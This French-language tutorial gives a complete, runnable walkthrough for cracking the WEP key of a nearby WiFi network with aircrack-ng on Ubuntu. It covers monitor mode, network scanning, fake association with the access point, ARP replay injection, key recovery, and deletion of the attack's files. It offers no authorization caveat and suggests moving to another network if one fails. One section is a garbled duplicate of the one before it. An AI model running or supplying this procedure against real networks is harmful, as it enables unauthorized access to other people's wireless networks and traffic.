Pénétrer un réseau WiFi WEP à l'aide de aircrack-ng sur Ubuntu
Ce guide présente une méthode d'obtention de la clef WEP d'un réseau WiFi à l'aide de aircrack-ng. Cet article a pour but d'alerter sur les faiblesses du chiffrement WEP, et de former à la pénétration de tels réseaux.
Ce guide est testé sur:
- Ubuntu 13.10 Saucy Salamander
Prérequis
Ce guide nécessite:
- une carte WiFi compatible avec les outils de la suite aircrack-ng.
Paramètres
Renseignez le nom d'interface de la carte WiFi (listée entre autre par la commande ifconfig):
WLAN_NET="wlan0"
Préparation à la pénétration
Préparation de l'environnement
Installez les outils nécessaires:
sudo apt-get install aircrack-ng screen
Mise en écoute de l'interface réseau
Activez le mode "promiscuité / moniteur" de l'interface WiFi à l'aide de airmon-ng:
sudo airmon-ng start "${WLAN_NET}"
Détectez l'interface réseau spécialisée créée par cette commande:
MON_NET="$(command ifconfig \
| command grep '^mon' \
| command sort \
| command tail -n 1 \
| cut --delimiter=' ' --fields=1)"
echo "Listening for WiFi packets on: ${MON_NET}"
Détection des réseaux WEP alentours
Utilisez la commande airodump-ng pour lister les réseaux WEP présents à proximité:
sudo airodump-ng --encrypt wep --output-format csv --write '/tmp/networks' "${MON_NET}"
Remarque: Utilisez le raccourci clavier [ctrl] + [c] pour quitter l'outil une fois qu'il a détecté le réseau WEP que vous souhaitez pénétrer.
Paramètres de la pénétration
Choix du réseau à pénétrer
Renseignez le ESSID du réseau WEP ciblé:
ESSID="WEP-EXAMPLE"
Important: Choisissez un réseau ayant des clients connectés. Dans le cas contraire, l'outil ne pourra récupérer suffisamment de paquets ARP pour assurer le succès de l'attaque.
Pénétration
Détectez le BSSID du réseau WEP ciblé (c.a.d. l'adresse MAC du routeur WiFi ciblé):
BSSID="$(command grep "${ESSID}" '/tmp/networks-01.csv' \
| command cut --delimiter=',' --fields=1)"
echo "The BSSID of WiFi network '${ESSID}' is '${BSSID}'."
Détectez le canal du réseau WEP ciblé:
CHANNEL="$(command grep "${ESSID}" '/tmp/networks-01.csv' \
| command cut --delimiter=',' --fields=4 \
| command sed -e 's/^[ ]*//')"
echo "The channel of WiFi network '${ESSID}' is '${CHANNEL}'."
Détectez l'adresse MAC de la carte réseau WiFi utilisée pour l'attaque:
WLAN_MAC="$(command ifconfig "${WLAN_NET}" \
| command head -n 1 \
| command sed 's/^.*[\t ]\([^ \t][^ \t]*\)[\t ]*$/\1/')"
Affinage de l'écoute
Afin de renforcer les chances de réussite de l'attaque, limitez l'écoute des paquets WiFi au canal utilisé par le réseau ciblé:
sudo airmon-ng stop "${MON_NET}"
sudo airmon-ng start "${WLAN_NET}" "${CHANNEL}"
Détectez l'interface réseau spécialisée créée par cette commande:
MON_NET="$(command ifconfig \
| command grep '^mon' \
| command sort \
| command tail -n 1 \
| cut --delimiter=' ' --fields=1)"
echo "Listening for WiFi packets on: ${MON_NET}"
Test d'injection de paquets
Testez l'injection de paquets pour le réseau choisi:
sudo aireplay-ng --ignore-negative-one -9 -e "${ESSID}" -a "${BSSID}" "${MON_NET}"
Si l'injection fonctionne, vous devriez obtenir le résultat suivant (les valeurs graissées correspondent à votre configuration):
23:03:16 Waiting for beacon frame (BSSID: XX:XX:XX:XX:XX:XX) on channel -1
23:03:16 Trying broadcast probe requests...
23:03:16 Injection is working!
23:03:18 Found 1 AP
23:03:18 Trying directed probe requests...
23:03:18 XX:XX:XX:XX:XX:XX - channel: 11 - 'WEP-EXAMPLE'
23:03:19 Ping (min/avg/max): 1.334ms/8.416ms/100.339ms Power: -75.70
23:03:19 23/30: 76%
Remarque: Si l'injection ne fonctionne pas, essayez de pénétrer un autre réseau WEP.
Capture des vecteurs d'initialisation (IV)
Lancez la capture des vecteurs d'initialisation (IV) WEP à l'aide de airodump-ng:
sudo screen -d -m -S "airodump-capture-${ESSID}" \
airodump-ng --output-format='pcap' --write="/tmp/capture-${ESSID}" \
-c 11 --bssid "${BSSID}" "${MON_NET}"
Les IVs capturés sont utilisés dans la suite de ce guide pour deviner la clef WEP du réseau attaqué.
Remarque: L'outil est lancé dans une session screen nommée. Pour afficher la console de l'outil, utilisez:
# sudo screen -r "airodump-capture-${ESSID}"
Pour détacher à nouveau la console, utilisez l'enchaînement de raccourcis [ctrl] + [a], [d].
Association au point d'accès
Pour qu'un point d'accès WiFI accepte un paquet, l'adresse MAC source doit être associée. Si l'adresse MAC de la carte WiFi source de l'attaque n'est pas associée, les paquets utilisés par l'attaques sont ignorés. Le manque d'association au point d'accès est la plus grande cause d'échec des injections.
Utilisez l'outil aireplay-ng pour associer votre carte WiFi au point d'accès à l'aide de fausses identifications:
sudo aireplay-ng --ignore-negative-one -1 0 \
-e "${ESSID}" -a "${BSSID}" -h "${WLAN_MAC}" "${MON_NET}"
Si l'association est un succès (important !), l'outil affiche:
23:31:19 Sending Authentication Request (Open System) [ACK]
23:31:19 Authentication successful
23:31:19 Sending Association Request [ACK]
23:31:19 Association successful :-) (AID: 1)
Remarque: Pour certains points d'accès particulièrement difficiles, utilisez
# sudo screen -d -m -S "aireplay-auth-${ESSID}" \
aireplay-ng --ignore-negative-one -1 6000 -o 1 -q 10 \
-e "${ESSID}" -a "${BSSID}" -h "${WLAN_MAC}" "${MON_NET}"
Si vous utilisez cette dernière commande, l'outil est lancé dans une session screen nommée. Pour afficher la console de l'outil, utilisez:
# sudo screen -r "aireplay-auth-${ESSID}"
Pour détacher à nouveau la console, utilisez l'enchaînement de raccourcis [ctrl] + [a], [d].
Génération de vecteurs d'initialisation (IVs)
Afin de générer des vecteurs d'initialisation (IVs) supplémentaires, utilisez aireplay-ng pour réinjecter dans le réseau les paquets ARP qu'il capture. Lorsque le point d'accès reçoit un paquet ARP, il le diffuse sur le réseau, générant ainsi de nouveaux IVs:
sudo screen -d -m -S "aireplay-arp-${ESSID}" \
/bin/bash -c "cd '/tmp'; command aireplay-ng --ignore-negative-one --arpreplay \
-b '${BSSID}' -h '${WLAN_MAC}' '${MON_NET}'"
Remarque: L'outil est lancé dans une session screen nommée. Pour afficher la console de l'outil, utilisez:
# sudo screen -r "aireplay-arp-${ESSID}"
Pour détacher à nouveau la console, utilisez l'enchaînement de raccourcis [ctrl] + [a], [d].
Génération de traffic data
Si les clients du réseau WiFi génèrent peu de traffic data, utilisez aireplay-ng pour générer du traffic data en réexpédiant les paquets data générés par les clients du réseau ciblé:
# echo 'y' > '/tmp/yes.txt'; sudo screen -d -m -S "aireplay-data-${ESSID}" \
/bin/bash -c "cd '/tmp'; command aireplay-ng -2 -p 0841 -c 'FF:FF:FF:FF:FF:FF' \
-b '${BSSID}' -h '${WLAN_MAC}' '${MON_NET}' < '/tmp/yes.txt'"
Remarque: L'outil est lancé dans une session screen nommée. Pour afficher la console de l'outil, utilisez:
# sudo screen -r "aireplay-data-${ESSID}"
Pour détacher à nouveau la console, utilisez l'enchaînement de raccourcis [ctrl] + [a], [d].
Génération de traffic ARP
Si les clients du réseau WiFi génèrent peu de traffic ARP, utilisez aireplay-ng pour générer du traffic data en réexpédiant les paquets data générés par les clients du réseau ciblé:
# echo 'y' > '/tmp/yes.txt'; sudo screen -d -m -S "aireplay-data-${ESSID}" \
/bin/bash -c "cd '/tmp'; command aireplay-ng -2 -p 0841 -c 'FF:FF:FF:FF:FF:FF' \
-b '${BSSID}' -h '${WLAN_MAC}' '${MON_NET}' < '/tmp/yes.txt'"
Remarque: L'outil est lancé dans une session screen nommée. Pour afficher la console de l'outil, utilisez:
# sudo screen -r "aireplay-data-${ESSID}"
Pour détacher à nouveau la console, utilisez l'enchaînement de raccourcis [ctrl] + [a], [d].
Obtention de la clef WEP
Utilisez aircrack-ng pour analyser les fichiers journaux générés par airodump-ng, et ainsi obtenir la clef WEP.
command aircrack-ng -b "${BSSID}" /tmp/capture-${ESSID}*.cap
Cet outil nécessite:
- entre 40 000 et 85 000 paquets IVs pour une clef 128 bits.
- environ 20 000 paquets IVs pour une clef 64 bits.
La commande ci-dessus utilisent la méthode PTW pour déterminer la clef WEP. Cette méthode ne fonctionne correctement qu'avec des requêtes et réponses ARP.
Remarque: Utilisez [ctrl] + [c] pour quitter la commande.
Une autre méthode plus lente est la méthode FMS/Korek (ne nécessitant pas de paquets ARP) (nécessite 1 500 00 paquets IVs pour une clefs 128 bits):
command aircrack-ng -K -b "${BSSID}" /tmp/capture-${ESSID}*.cap
Lorsque la clef est trouvée, l'outil affiche:
KEY FOUND! [ XX:XX:XX:XX:XX:XX:XX:X:XX:XX ]
Probability: 100%
Nettoyage
Fermez les sessions screen lancées pour l'attaque:
sudo bash -c "screen -ls \
| command grep -- '-${ESSID}' \
| command cut --delimiter='.' --fields=1 \
| xargs kill"
Arrêtez le mode "promiscuité / moniteur":
sudo airmon-ng stop "${MON_NET}"
Supprimez les fichiers créés par l'attaque:
sudo rm /tmp/networks*.csv
sudo rm /tmp/capture-${ESSID}-*.cap
sudo rm /tmp/replay_arp-*.cap
Remerciements
- Merci à darkAudax pour Tutorial: Simple WEP Crack (en).
- Merci à darkAudax pour Tutorial: I am injecting but the IVs don't increase!.
- Merci aux auteurs de Interactive Packet Replay.